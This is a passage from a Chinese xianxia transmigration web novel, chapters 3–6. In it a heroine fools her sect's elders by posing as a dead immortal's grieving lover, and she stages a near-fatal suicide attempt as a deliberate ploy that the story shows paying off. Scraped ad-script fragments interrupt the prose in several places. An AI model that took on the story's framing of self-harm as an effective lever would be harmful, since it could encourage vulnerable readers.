《伪装成已逝仙尊的挚爱》 3. 第 3 章 楚青川早已经习惯了他人的崇敬与爱慕。 他样貌优越、天赋超绝,修炼的是修仙界的顶尖功法,又是修仙界第一宗门太清宗宗主的唯一亲传弟子。 无论走到哪里,他都是被其他人仰望的存在。 许晚辞也不过是众多仰慕者之一。 她能在他心中留下印象,也不过是因为她的爱慕太过直白偏执,做出不少恶事,让他一想便觉得厌恶。 可是—— 想起方才执法殿发生的一切,楚青川蓦然停住了脚步,本来不可一世的脸上涌上了几分羞恼的怒意。 许晚辞竟然不爱他? 他以前从未在意过的细节倏地涌现在脑海: 只要他出现,许晚辞的目光便从未离开他分毫;他只是受了小伤,她便拿出能让大乘尊者都动容的灵药,为了得到他,她甚至不惜对秋宁出手…… 那样炙热的目光,那样疯狂的作为—— 竟都是为了另一个人?! 清衍仙尊…… 他默念这个名字,缓缓攥紧了双手。 在很久之前,他便知晓,他的半步神器炼神书,是清衍仙尊的法宝。 只是没有想到他修炼的千丹变,也是由他所创。 他透过能无视天赋的神阶功法千丹变和能让渡劫大能忌惮的炼神书,依稀能窥得清衍仙尊当年的三分神采。 清衍仙尊愈是强大,他的心绪便愈是复杂。 据他所知,清衍仙尊的所有一切都被太清宗封存了百年。 许晚辞为什么会知道那些……连他乃至太清宗都不清楚的事情? 难道她真的…… 楚青川目光晦涩,周身的气息更是罕见的浮躁。 就在这时,一个样貌周正的少年快步走了过来。 少年喘着粗气,一脸愤慨地在楚青川身前站定。 他看到楚青川后,以为他也在不满长老的判罚,脸色越发不平。 只是他的嘴张了又合,合了又张,最后也只憋出了一句: “长老们也太……怎么这样就把许晚辞给放了呢?!” 不敢对长老们多做评价,他话头一转,矛头直指罪魁祸首: “真是太恶毒了!” “虽然早就知道许晚辞品性低下、不知羞耻,痴心妄想和师兄…攀上关系,但是没有想到,她心思居然如此歹毒,简直是太清宗的耻辱!” “要我说……” 听着宋洪宇熟悉的碎碎念,楚青川微不可查地皱起了眉头。 明明是他平时听过无数次的话,不知为何,现在却觉得格外刺耳。 宋洪宇看到楚青川的表情后,还以为他也是在厌恶许晚辞。 于是他深吸一口气,慷慨激扬地总结道: “许晚辞这种心思恶毒的小人,就应该被千刀万剐,废去修为扔到……” 听到这里,楚青川再也忍不住,皱眉呵斥: “够了。” 宋洪宇听到他的声音,茫然地停了下来,呆愣愣地看着楚青川。 看到他脸上隐忍的怒气后,他恍然大悟: 看来楚师兄这次真的是被气狠了,连许晚辞的名字都不想听到。 想到这里,他赶紧闭上嘴,只是向来嘴碎的他实在没有忍住,又感叹似的补了一句: “这种为爱疯狂的人,真是恐怖啊!” “幸好及时发现了她的真面目,不然还不知道她以后还会做出什么恶事……” 宋洪宇啰啰嗦嗦地说了半天,楚青川却好像只听到了那一句。 他移开视线,轻描淡写地问道: “你觉得许晚辞爱我?” 宋洪宇蓦然瞪大了眼睛,怀疑是自己听错了: “啊?” 许晚辞爱慕楚青川这件事,整个太清宗无人不知,无人不晓。 做的那一桩桩一件件的事情,更是让众人瞠目。 她都为了他疯狂到这种地步了,不是爱是什么? 宋洪宇一脸的不理解:“楚师兄,你是在开玩笑吧?” “许晚辞怎么可能不爱你?!” 听到他笃定地回复,楚青川紧皱的眉头微微舒展: 是啊,许晚辞怎么可能不爱他? 他越阶打败对手时,她在; 他时宗门大比获胜时,她在; 他扼制灵兽暴动,救了无数修士时,她依旧在。 要不是深爱他,怎么会一直陪在他的身边? 想到这里,楚青川的眉头彻底舒展开来。 他轻咳一声,一脸严肃道: “长老的决定自有其道理,不可妄议。” 应付完宋洪宇后,楚青川看着他的背影,转身下意识朝另一个方向走去。 等他反应过来的时候,已经来到了许晚辞的院子前。 楚青川一怔,本想离开,但脚步却顿在了原地。 虽说许晚辞做了错事,但如今她心神重创,身受重伤,已经受到了惩罚。 更何况事出有因…… 身为同门,他理应去探望。 想到这里,又重新提起脚步,朝院内走去。 许晚辞性情偏冷,院子也在一个偏僻的角落,周围空落无一人。 院子的木门半掩,依稀能看到一个一身蓝衣,身形消瘦的侧影。 她微微仰头,略显凌乱的长发随风而动,露出了一张惊艳的侧脸。 她微微仰头,看着前方莞尔轻笑,目光中没有了之前在执法殿的悲痛空寂,反倒是带上了几分憧憬。 看着许晚辞唇畔的笑意,楚青川怔愣了一瞬,眼中带着一丝疑惑: 她在……笑? 这是他从未在她脸上见过的笑容,没有偏执、没有讨好、没有勉强。 只是温柔的、期待的笑着。 这笑容太过美好也太过纯粹,让他有一瞬间的恍惚。 他下意识往前走了两步。 就在这时,他身侧的防护法器忽然微弱的亮了一瞬。 随即,院子里爆发出了一阵强烈的灵气波动。 刺眼的白光中带着能粉碎金丹修士神魂的力量,只是一瞬间,就将最中心的许晚辞吞噬淹没。 楚青川根本来不及反应,脑中只闪过了一个念头: 断魂骨? 许晚辞对她自己用了……断魂骨? 就在他怔愣时,两道灵光闪电一般划过,渡劫期的灵力霎时笼罩了整个院落。 一阵灵气激荡,大长老与二长老险而又险地,救下了只差一息就会神魂俱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 消的许晚辞。 半空中,两位长老身形是少有的狼狈,大长老面色苍白,二长老的衣角都被断魂骨灼出了几个黑洞。 即使是两位渡劫尊者一同发力,也才堪堪从断魂骨下抢回一条命。 许晚辞,是真的根本没有想给自己留分毫生的机会。 楚青川看着面色如近乎透明,唇角却带着解脱笑意的许晚辞,蓦然攥紧了双手。 他倏地意识到,许晚辞是真的不爱他。 她做的一切,都是为了清衍仙尊。 接近他是,求死亦是。 * 或许是因为早已经习惯了疼痛,断魂骨侵入灵魂的那一刻,许晚辞依旧能完美的保持自己应该有的表情。 甚至还能在心中自嘲: 好像修仙界中的疼痛,并没有比现代难忍多少。 再后来,她便失去了所有的意识。 当从一片混沌中再次察觉到自己的存在时,她只剩下了一个念头: 她赌赢了。 从很久之前她就知道,在山穷水尽时,死亡也是一个筹码。 一个很重,重到或许能力挽狂澜的筹码。 最难的不是选择死亡,而是如何从死亡中活下来。 执法殿长老对她的观察,是极致的危险。 但当她选择殉情时,这便成为了她的助力。 原著中大长老为人正义循理,在弄清真相前不会任由她去死。 二长老喜爱情爱话本,本就容易被感动,看到她殉情也必定会尽力阻拦。 更何况她和清衍仙尊的关系,也带着因果,他们更不会对她的作为视而不见。 他们一定会让她活下来。 她需要做的,就是对自己足够狠,狠到所有人都觉得她一心求死。 狠到他们不敢再用任何方式刺激她。 原主的气运虽然比不得男主楚青川,但也算是同阶级修士中的佼佼者。 所以,原主才能成为男主身边有名号的女配; 所以,原主才能拥有放眼修仙界都极为罕见的断魂骨。 断魂骨乃是修仙界七品法器,可以越阶对敌,能对大乘乃至渡劫修士神魂产生影响,是极其稀有的法宝。 一旦发动,便是神魂俱消,必死无疑。 若不是两位长老灵力超绝再加营救及时,她根本不可能活下来。 不过愈是接近死亡,她的收获便会愈多。 如今—— 断魂骨带给他们的震撼应该足够大。 执法殿长老对她的谎言,大抵信了六分。 已经足够她短暂地活下来。 可只是暂时而已。 两位长老救她的动静绝不会小,现在等她醒来的,应该还有其他修士。 没有见过她先前所有表演的修士。 醒来后面对的危机,不会比之前小。 许晚辞感受到自己在渐渐凝实下坠的灵魂,心中一沉。 她全力地控制住灵魂的本能,让自己醒的慢一点,再慢一点。 她要趁着这段时间,想好醒来后的所有反应。 不管是呼吸、表情、还是神态、动作,甚至包括醒来后的每一句话。 接下来的每一步,她依旧不能出错。 4.第 4 章 卧房内的气氛落针可闻。 已经知晓全部事情经过的太清宗宗主宁孟澜面色凝重中透露着一丝古怪。 他深吸一口气,低头整理了一下已经完美到没有一丝褶皱的衣袖。 三息后。 他实在没有忍住,转过头声音带着压不住的怪异: “二长老,您方才说……” 二长老沉默地点了点头,把宁孟澜所有的话都给堵了回去。 真是离奇的一天啊。 一个时辰前,他刚刚从弟子口中得知了内门弟子许晚辞暗害江家少主,江少主重伤未醒。 正在他愁该如何给江家一个交代时,又从弟子口中得到了许晚辞安然无恙从执法殿走出来的消息。 他还来不及从执法殿长老那里得知内情,就察觉到了万剑锋上渡劫期大能的灵气动荡。 马不停蹄地赶到后,刚驱散围观弟子,就从二长老口中得知了许晚辞与清衍仙尊……交情甚笃。 这就结束了么? 没有! 正在他想要劝两位长老不要轻信他人的一面之词时,就见到了心存死志,被勉强救下来的许晚辞。 断魂骨啊! 就算是他挨一下也要伤筋动骨的法器。 即使依旧有些怀疑,但宁孟澜心中多少信了两分。 来日方长。 若是假的,以后自然会路出马脚。 可若是真的—— 那太清宗乃至修仙界当年欠仙尊的因果…… 想到这里,宁孟澜紧皱的眉头霎时舒展开来。 他看着躺在床上,即使已经被丹药修复好身体,却依旧面色苍白的许晚辞,刚展开的眉头又皱了起来。 许晚辞求死之心如此坚定,醒来后发现自己还活着,说不定会再次寻死。 有他和两位长老在,制止倒是不难,难的是如何劝她放弃自裁的念头。 宁孟澜看了一眼不怒自威,能止小儿啼哭的大长老,缓缓移开了视线; 随后就对上了二长老轻柔中带着感动的目光,他恍然想起,二长老沉迷情爱话本,若是让她劝……说不定给许晚辞劝个当场自杀; 往后一看,自己的亲传弟子楚青川正目光呆滞地看着木门外的幻颜树,丢了魂般一动也不动。 最终他沉重地叹了一口气: 只能靠他了。 无数劝慰的话刚从心中打了个滚,就看到木床上的人指尖微微一动。 所有人的目光齐齐地往床上看去。 在所有人的注视下,许晚辞缓缓睁开了双眼。 她看着周围熟悉的场景,好似意识到了什么,自嘲的笑了笑,沉默地闭上了双眼。 再次睁开眼时,她脸色已经恢复了平静,所有的情绪在一瞬间被她收敛起来,只剩下了一片死寂的宁静。 没有诧异,没有质问,没有泪眼婆娑,也没有歇斯底里。 她静静地坐起身,侧身对着众人行了一礼,声音和从前一样,沉稳而冷静: “多谢宗主、两位长老搭救。” 看着许晚辞如今的模样,宁孟澜那一箩筐劝慰的话全都被堵了回去。 他沉默了一瞬,试探性地问道: “方才你……” 许晚辞声音依旧平淡恭敬:“只是意外罢了,让宗主担忧了。” 意外? 你是说你不小心用了断魂骨? 然后目光憧憬,唇角含笑,没有一丝抵抗的任由断魂骨发作?? 宁孟澜看着许晚辞恭敬有礼但却对自戕之事一代而过的模样,根本不知该如何劝慰。 所有人都知道许晚辞在说谎,却也没有任何办法。 二长老更是无声的叹了一口气: 许晚辞究竟是失望了多少次,才能在死过一次后,依旧表现的这么若无其事。 依旧把所有的爱恨埋在心底,不让任何人窥见分毫。 比起歇斯底里的自毁,这种沉默无声的苦痛…… 更让人震撼,也更让人心疼。 看着她如今的样子,就连一直心存疑虑的大长老,对她和仙尊的事情,也有了五分的相信。 此刻的他格外安静。 不要说让许晚辞亲口承认自己和仙尊的关系了,如今他根本就不敢在她面前提起清衍仙尊四字。 最终,一片静默后,宁孟澜轻咳了两声,努力摆出了一副和善的模样: “咳咳,是意外就好……” “本宗主的意思是……既然是意外,下次一定要小心。” 他小心地把自己的胡须捋平整,威严不失亲和地安慰道: “你天赋出众、前途广大,修行之路一片光明,切忌要爱护自身,万不可再发生此等意外。” 许晚辞抬起头,扬起一个仿佛已经演练了千百遍的笑意:平淡、温柔、恭敬,却不包含一点自己的情绪。 她小心地藏起了千疮百孔的灵魂,只留给其他人一个近乎完美的躯壳。 这百年来,她一直如此,如今不过是继续罢了。 她从容地行了一礼,轻声应道:“弟子谨记。” 宁孟澜看着她行礼时,苍白到已经泛起了青色的指尖,叹息着移开了视线。 知道留在这里也无济于事,他和身侧两位长老交换了一下目光,随即道别离开了小院。 离开时,他看着自己依旧傻乎乎地站在原地的亲传弟子,格外嫌弃地用神识给了他一巴掌。 他这弟子怎么这么没有眼力见? 不知道现在许晚辞最不想见的就是他么? 楚青川终于回过神来,他下意识看了许晚辞一眼:“师尊,她……” 宁孟澜知道他在担心什么,用神识淡淡回了一句:“放心,她不会有事。” “可……” 宁孟澜淡淡地扫了他一眼。 楚青川顿时收敛了所有的情绪,恭敬地拱手应道:“是。” 等到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 楚青川离开后,宁孟澜用神识往后一扫,清楚的看到了许晚辞脸上笑意的消退。 独自一人时,她收敛了所有的情绪。 没有欢喜,没有失落,也没有悲伤。 她静静地坐在那里,明明身处阳光之中,却让人觉得她马上就要被黑暗吞噬。 宁孟澜即使经历甚多,看着这样的许晚辞,目光也有一瞬间的沉重。 很快他就回过神来,面色淡漠地离开了这里。 身为宗主,他根本没有必要去了解许晚辞如今的想法,他只需要让她好好活着便好。 百年前,若不是清衍仙尊,整个修仙界都将陷入一片浩劫。 如今所有修士,都欠着仙尊一个因果,一个根本没有办法了结的因果。 若是许晚辞真与仙尊有关…… 那这便是整个太清宗的机缘。 随着宁孟澜的离去,许晚辞微不可查地呼出一口气。 即使那种被注视的感觉已经消失,她脸上的情绪依旧没有太大变化。 她低着头,心中没有分毫的轻松。 如今,她虽说骗过了执法殿两位长老、太清宗宗主以及男主楚青川。 可是想要原主命的,可远不止这几个人。 女主江秋宁、江家、太清宗的其他长老、峰主…… 只要这些人中有一人不信,便会用各种方式来验证。 直接找她,她自然不怕,怕的是…… 许晚辞撑着床边的左手微微用力,不过很快她便放松下来。 最难的那一步,她已经撑了过来。 剩下的危机再艰难,也不会比先前在执法殿更难。 她完全可以凭借自己知晓的原著内容,主动出击,一点一点地打消他们的怀疑。 没有怀疑,自然就不会去验证。 她动用原主的记忆,小心地用灵力走遍全身经脉。 和她想的一样,她之前身上受过的伤,都已经全部恢复。 不过…… 许晚辞抬头看了一眼空荡荡的小院,浓密的睫毛微微颤动: 太清宗宗主和执法殿两位长老,真的放心她这个殉情过一次的人,独自呆在这里么? 日夜盯着她太耗费心神,最简单有效的方法,是在她身上留下防御法器或者是禁制。 想到这里,许晚辞缓缓地眨了眨双眼: 虽说她有七成的把握,可这毕竟只是她的推测。 事关她的安全,不试一下,她仍旧不能放心。 自杀殉情这种大杀器,用一次就够了,用多了只会让人习惯甚至厌烦。 所以,她不能再对自己动手。 像是想到了什么,许晚辞指尖一动。 她强忍住心中的蠢蠢欲动,目光平静地看向木门的方向。 太清宗中厌恶原主的弟子数不胜数,知道她如今安然无恙,应该有不少人想要来找她的麻烦。 这不就是现成的实验对象么?! 5.第 5 章 许晚辞猜的没错,想找她麻烦的人的确有很多。 段子惟便是其中之一。 段子惟家世优越,是段家家主唯一的子嗣,从小被众星捧月,要什么有什么。 吃穿用度无一不是千年难得一遇的精品。 这样的家世背景下,他性格难免嚣张骄纵,面对其他人也会不自觉地带上几分颐指气使。 只不过,段少爷还有一个爱好,那便是撒灵石。 开心了,撒;不开心了,也撒。 骂了人,撒几块;指使人,再撒几块。 所以虽然他性格不好亲近,却仍有无数拥趸。 今日,刘强可是跑赢了无数竞争对手,才来到了段子惟的身前。 段子惟看着面前不修边幅、喘着粗气的人,嫌弃地皱起了眉头。 他往后退了一步,故意往远扔了几块灵石,示意他离他远点: “你着急忙慌地做什么?” 刘强往后跳了两步,喜笑颜开地收下了灵石:“谢段少爷!” 想起要汇报的事情,他赶紧把表情掰成了同仇敌忾: “段少爷您不知道,许晚辞刚从执法殿出来了!” 段子惟抛灵石的动作猛地一停,他不可置信地睁大了双眼,一双桃花眼硬生生地被他瞪成了椭圆: “你说什么?!” “许晚辞活着从执法殿出来了?” 刘强使劲点了点头,添油加醋道:“岂止啊。” “段师兄你是没有见到,许晚辞那哪里是活着出来,她那是安然无恙地走执法殿走出来的!” “身上一点伤都没有,不知道的还以为她去执法殿用膳去了呢!” 段子惟闻言把手中的灵石狠狠地往地上一扔,咬牙切齿道: “执法殿长老到底在想什么?!” “许晚辞那个阴险小人都能被放出来?!” 刘强心疼地看了一眼地上的极品灵石,下意识地附和道:“可不是嘛!” “还有楚青川!”段子惟攥紧了手中的青玉扇,怒气冲冲道,“他是干什么吃的,就眼看着许晚辞被放出来?!” 听到这里,刘强艰难地移开了看着灵石的视线。 他往前走了一小步,神秘兮兮道:“要不是楚师兄在,许晚辞哪有那本事出来!” 段子惟面色一凛:“什么意思?” “是楚青川让长老饶过了许晚辞?” 刘强赶紧摇头:“我可不敢这么说。” “我只知道楚师兄从执法殿出来后,都没有去看江少主,而是马不停蹄地去了许晚辞住的地方。” “您说许晚辞被放出来和他没有一点关系,谁信啊!” 刘强想起刚才打听到的事情,霎时来了精神,手舞足蹈道: “而且好像是执法殿两位长老发现了什么不对,后脚也去了万剑锋。” “两位长老不知是看到了什么,闹出了好大的动静,现在去万剑锋还能感受到渡劫尊者的灵气波动!” “连宗主都惊动了!” “只可惜不知道楚青川到底说了什么,如今许晚辞依旧好好地待在万剑锋,一点事都没有。” 听着刘强的话,段子惟没费什么力气,就把‘真相’推测出了个七七八八。 他的脸色难看到了极点: “好你个楚青川,平日里朝三暮四水性杨花也就算了,今日居然敢救下伤害秋宁的罪魁祸首!” “就是就是。”刘强猛地点头,“楚青川这种人哪里配得上江少主。” 他知道段子惟喜欢江秋宁,于是一脸真诚地恭维道: “论品性、论家世、论痴情——” “您和江少主才是天作之合啊!” 平时听到这种话,或许能让段子惟心情变好,不过今日,他只是冷哼了一声,从储物玉佩中掏出了一个玉瓶,根本没看里面是什么,随手就扔给了刘强。 然后转过头,大步流星地就去找楚青川算账。 比起罪魁祸首许晚辞,显然是救下许晚辞的楚青川更加可恶。 * 离开万剑锋后,楚青川还没来得及去看依旧昏迷的江秋宁,就被一个急冲冲的身影挡住了去路。 段子惟看着一脸人模人样的楚青川,想到自己刚才得知的消息,恶狠狠地攥紧了手中的一沓七品雷符。 今天小爷他不扔灵石了! 他要扔雷符扔个痛快! 劈死这个道貌岸然的人渣,为秋宁出气! 楚青川刚站定,就看到了段子惟那异常熟练的往外撒灵石……不对,是撒雷符的动作。 他猛地后退了一步,用灵气护住周身,右手火莲乍现: “段子惟,你疯了么?” 段子惟闻言手中的动作反倒更快了几分:“劈的就是你!” “让你朝三暮四!” “让你三心二意!!” 他手中的雷符劈天盖地一般地朝着对面扔去:“这些就算了,你居然还敢救许晚辞!!!” “你对得起现在还没醒来的秋宁么?!” 楚青川本来在游刃有余地躲着雷符,听着段子惟的指控,他愣了一瞬,袖口霎时多了几道漆黑的雷痕。 他一抬手,手中火莲冲向半空,通红的火雨将周围的雷符消融殆尽: “你在胡说什么?” “我胡说?”段子惟冷笑了一声,手中的动作没停,又掏出了一沓升阶版的八品雷符,“要不是你,许晚辞怎么可能从执法殿活着出来?!” “你还敢把秋宁甩在一边,屁颠屁颠地去万剑锋找许晚辞献殷勤?!” 他越说越气,猛地把手中的八品雷符往储物玉佩中一塞,撸着袖子就要找杀伤力更大的法器。 听到许晚辞三个字,楚青川目光有一瞬间的复杂。 很快他便回过神来,一挥衣袖,银针一般的灵气打断了段子惟的动作: “许晚辞之事,乃是大长老和二长□□同决定,与我无关。” “至于其他,我没有必要和你解释。” 段子惟看着手腕上防御法器的灵光,甩了甩手。 他冷哼一声,一脸嘲讽道:“和你没有关系?” “许晚辞伤害秋宁的事情,证据确凿,若不是你,长老们怎么可能放过她?” 说到这里,他抬起头,桃花眼中是彻骨的冷意,他放轻声音,好似感同身受道: “也是,许晚辞那么爱你,又是在你身边端茶倒水嘘寒问暖,又毫不藏私地把全身至宝都用在了你身上。” “你舍不得也是人之常情。” 听到他的话,楚青川蓦然停住了想要离开的脚步。 不知是想起了什么,他声音晦涩:“你弄错了。” “许晚辞……对我并无爱慕之心。” 段子惟眼中的冷意一顿,他诧异地睁大了眼睛,不可置信道: “楚青川,你疯了?!” “许晚辞她不爱你??!!” “为自己开脱也要想个好点的理由。”他愈说愈气,脸色涨得通红,“你把我当傻子哄呢?!” 楚青川听着段子惟暴躁的声音,脸上再也没有了之前的自信。 曾经,他也是这样以为的。 以为许晚辞深爱他,以为她深情不悔、非他不可。 可是—— 他下意识地想起了万剑锋上发生的一切。 想起了她赴死前欣然的那一笑,想起来她醒来时的落寞。 想起她醒来后,眼中再也没有了他的存在。 他微微垂眸,遮住了眼中所有的情绪,声音平静:“许晚辞只是把我错认成了她爱人的转世。” “如今一切都已真相大白,她自然……” 没有了继续爱慕他的理由。 楚青川的话还没有说完,就被段子惟不耐地声音打断: “所以,她就用这个理由骗了你,让你放过了她?” “爱错了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人,转世?”他抬起头,眼中满是嘲讽,“你该不会真信了吧?” 他亲眼见过许晚辞对楚青川有多偏执。 只要楚青川在,许晚辞必定会出现在他周边,目光也从来不会离开他分毫。 只要楚青川需要,许晚辞就会把她所有的灵宝都拱手奉上。 更是因为楚青川,对秋宁出手。 如今她为了逃脱罪责,随口说的谎,居然有人相信? 楚青川淡淡地扫了他一眼,没有为自己开脱,只是声音平淡道: “在知晓……那个人神魂俱消,无转世可能后。” 他一脸平静地和段子惟擦肩而过,声音飘散在了空中: “她对自己用了断魂骨。” 段子惟愣在了原地,连楚青川什么时候离开了都没有注意。 身为世家子弟,他从小就对所有的法器烂熟于心,所以也格外清楚断魂骨的恐怖。 它能直接作用于神魂,绝大多数的防御法器根本没有办法阻拦,就连他遇到了断魂骨,也要掂量掂量神魂上老祖的烙印能不能护住他。 所以,万剑锋上两位渡劫长老的灵气波动,是因为要救许晚辞? 此刻,段子惟根本没有心思考虑为什么许晚辞用了断魂骨还能活着,为什么两位长老会出现的那么及时。 他心中只有一个想法:怎么可能? 许晚辞那种阴险狡诈的小人,怎么可能会因为一个人而自杀? 说她为了楚青川自杀他都不信,更何况为了另外一个人。 段子惟像是想起了什么,猛地一拍手: 许晚辞定是畏罪自裁! 她知道哪怕她从执法殿活着走了出来,可是等楚青川和长老他们反应过来,她依旧是死路一条。 与其在执法殿受尽刑罚,还不如自杀,一了百了! 段子惟恍然大悟地点了点头: 没错,一定是这样。 他一转身大步流星地就要去找许晚辞,想揭穿她的真面目。 另一边,被段子惟惦记着的许晚辞正在院子里仔细端详着原主的灵剑。 原主还未得到本命剑,平时使用的佩剑是由炼器师炼制,和原主之间的联系并不紧密。 知道自己短时间内性命无忧后,许晚辞看向灵剑的目光带上了一丝浅浅的好奇。 如今她院子周围依旧有渡劫尊者的灵气残留,想来找她麻烦的人,估计也要过一段时间才敢来…… 想到这里,她站起身,按照原主的记忆,挥动了手中的灵剑。 刺、劈、撩、挂、云、点。 明明只是最基础的招式,许晚辞的动作却像锈住了一般,每一步都格外生涩。 许晚辞感受着周身断断续续的灵气,微不可查地皱起了眉头: 她和原主毕竟不是同一个灵魂,对与剑法的领悟完全不同。 她向来崇尚干净利落的剑法,用剑以制敌为重。 而原主则喜欢华丽优雅的剑法,用剑以礼节震慑为主。 许晚辞实在不明白,为什么做一个动作,要先用剑甩出剑花,就不能直接给对手一剑么? 剑招中为什么要用灵气催出几把剑的幻影,这种一看就是假的幻影,除了好看还有别的用处? 她想按自己的方式练剑,可这个时候身体百年以来的本能却在作对,让她的动作犹如一个刚习剑的孩童,磕磕绊绊,一丝剑意也没有。 就在这时,来找许晚辞算账的段子惟终于来到了小院前。 透过半开的木门,他清楚地看到了许晚辞挥剑的动作。 他曾经见过许晚辞与其他人对招时的模样,那个时候她已经初具剑意,一招一式都带着自己对剑法的理解。 哪怕是身受重伤、修为被废,可是对剑意的理解却永远不会消失。 可是如今…… 看着许晚辞最后连剑都拿不稳的样子,他茫然地怔愣在了原地: 许晚辞的剑心……碎了? 6.第 6 章 每个剑修的剑心,都经历过无数次的锤炼。 剑心是在一次次的生死之际领悟,在平日每一次的挥剑中加深,是刻在灵魂上的烙印。 就算是失去了所有的记忆和修为,这种灵魂上的本能依旧会存在。 段子惟茫然地皱起了眉头: 一个剑修的剑心……怎么会碎呢? 这时,他蓦然想起楚青川先前对他说过的话: 许晚辞……把楚青川错认成了爱人的转世。 而她刚刚得知,真正的那个人,已经神魂俱消。 他看着院子中那个纤瘦的身影,目光是自己都未曾察觉的复杂: 难道都是真的? 许晚辞对楚青川所有的好,都是为了另一个人? 用断魂骨自戕,是因为那个人。 如今的剑心破碎,也是因为那个人。 真的可能么? 修仙界中,真的会有那么纯粹、那么让人……震撼的爱情? 他是喜欢江秋宁,可也只是喜欢而已。 他不会为江秋宁放弃他在意的东西,更不可能为了她……去死。 段子惟呆呆地站在原地看着院子内的身影,半天也没有往前迈一步。 许晚辞在收剑时,就察觉到了门口传来的目光。 她心神一分,本就不受控制的剑不小心从手中坠落,落在了地上。 在捡起灵剑时,她已经调整好了所有的表情。 她把灵剑收入剑鞘,平静从容地转过身,看向了门口。 随即,就被门口的身影闪了一下眼睛。 这人从头冠到鞋面,无一不是难得的法器,阳光下各个法器交相辉映、灵气四溢,晃的人眼疼。 她不动声色地眨了眨眼睛,才看清了来人的脸。 段子惟? 如果她没记错的话,段子惟是女主江秋宁的爱慕者之一。 和原主的关系——非常恶劣。 原主家世不好,性格也稍显清高,十分看不惯依仗家世在太清宗横行霸道的段子惟。 而段子惟也因为原主对江秋宁做的一切,对她厌恶不已。 他来找她的目的,显而易见。 许晚辞回忆了一下自己刚才的作为,确定没什么破绽后,她唇角扬起了一个疏离的微笑。 人对于感情的接受是有阈值的。 如果她在其他人面前一直都是伤心欲绝的姿态,只会让不知情的人觉得怪异,让知情的人逐渐疲倦。 她只需要维持和原主先前相差无几的态度,在需要的时候显露失去挚爱人应该有的情绪便好。 平静之下隐藏的刻骨悲痛,才能让人感同身受。 感同身受后,才会忽略一些不合常理的地方。 更何况—— 她平静地看向仍然站在门口的人: 段子惟应该不知晓先前发生的事情,她就算在他面前演绎伤心欲绝也没有多少用处。 他来这里,大抵是知晓她还活着后,来找她为江秋宁出气。 想到这里,许晚辞表情虽然依旧平静,心中却有了几分期待。 正好可以用段子惟实验一下,看看大长老他们有没有在她身上留下防御法器。 段子惟根本不知道许晚辞在想什么。 此刻他根本没有一点对许晚辞动手的想法。 他看着她脸上平静到了极点的表情,不由地皱起了眉头: 不应该是这样的。 她难道不应该对着他诉说自己的痛苦么? 诉说自己失去爱人的悲痛,诉说自己伤害江秋宁的无奈,诉说她并不是故意做错事,她只是认错了人…… 可她什么都没有说,她只是和曾经每一次见到他一样,平静地站着,目光疏离。 一点也看不出,她刚刚已经死了一次。 许晚辞等了半天,可段子惟依旧呆站在原地,一动也不动。 她微不可查地蹙起了眉头: 段子惟不是来找她算账的么? 为什么会是这个表现? 她把手中的灵剑往身侧的石桌上一放,双手垂下,周身没有一丝灵气,这是一个完全无害的姿势。 看到段子惟依旧没有动作后,她声音中带着显而易见的疑惑: “不动手么?” 段子惟好似被吓到了一般,猛地往后退了两步。 他扯着嗓子道:“谁说我是来找你算账的?!” “我就是闲着没事随便逛逛!”他使劲点了点头,“对,随便逛逛。” 许晚辞听着他的回答,面色依旧平静,心中却升起了一丝疑惑: 放过伤害江秋宁的罪魁祸首? 这不是段子惟的性格。 除非,他从其他人口中知道了什么消息。 她微微垂眸,遮住了眼中一闪而过的了然: 这个人不会是太清宗宗主,更不会是两位长老,所以只能是楚青川。 不过清衍仙尊的身份毕竟太过骇人,所以楚青川应该没有对段子惟透露…… 不过几息之间,她就已经大概捋出了事情的经过。 知道段子惟不会对她动手后,她心中升起了一丝微妙的嫌弃。 看来只能等下个来找原主麻烦的人了。 她转过身,声音带上了几分倦怠: “既如此,那我便不送了。” 段子惟听着她分外明显的送客的话,看天看地、四处乱瞟的动作猛地一停。 他才刚来……他还什么都没做呢! 想到这里,他定住心神,深吸一口气朝许晚辞看去,想要试探性地多问几句。 然后,就看到了她满身疲惫和落寞的背影。 她背对着他,全身上下满是破绽,没有一丝灵气,也没有一点修士的自保之力。 哪怕一个练气修士,都能轻而易举的伤到她。 她是信任他,还是只是单纯的不在意自己的生死? 段子惟像是被刺到了一般,下意识移开了视线,看向了院子周围。 看着满是破败,就连门都合不上的小院,他心中混乱复杂的情绪好像都有了宣泄之处。 他一有心情波动,就想撒‘灵石’。 心情波动越大,撒的‘灵石’就愈多,也愈贵重。 段子惟倏地向前走了两步,看院子的每一处地方都觉得格外不顺眼: 这种没有一点灵气的木门还能用? 换成千年泉木的! 这种连大街上都不卖了的破旧石桌还留在这里?! 换成能阻挡修士神识,还有防御能力的法器暗玉桌! 还有这土……这点灵气都不够他喘口气的! 加上点他爹给他从秘境中搞来的万植之土! …… 这种事情段子惟早已经轻车熟路,每一个动作都格外娴熟。 等许晚辞察觉到不对转过身来时,他已经将小院的装扮换了个七七八八。 这个时候的段子惟撒灵宝法器撒的太过投入,没有注意到许晚辞已经转过了身子。 他正磨刀霍霍地看着最后一处还没换的地方。 那里,种着一颗幻颜树。 段子惟看到它后,手中的动作倏地一顿。 他记得这棵树。 一开始看到时,他还在心中嘲笑过许晚辞痴心妄想、不知廉耻。 在得不到楚青川后,居然用幻颜树来妄图满足自己。 可是现在,他忽然意识到,她透过幻颜树想见的,从始至终,都只有那一个人。 可幻颜树太过低阶,最多只能对练气、筑基修士带来一点影响。 对于许晚辞而言,幻颜树或许只是一个永远也达成不了的妄想。 段子惟深吸一口气: 这个幻颜树,他不能换,但不代表他不能对幻颜树动手啊! 想到这里,他娴熟地找起了储物玉佩中,能让灵植升阶的灵宝。 就在他掏出一瓶清化泉时,一个极轻的声音蓦然响起: “不用了。” 许晚辞看着偌大的幻颜树,微微垂眸,声音带着透骨的倦意: “已经不需要了。” 段子惟听着她的声音,心底蓦然涌上一股前所未有的酸涩感。 是因为已经知晓那个人神魂 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 俱消,所以连骗都不愿意骗自己了么? 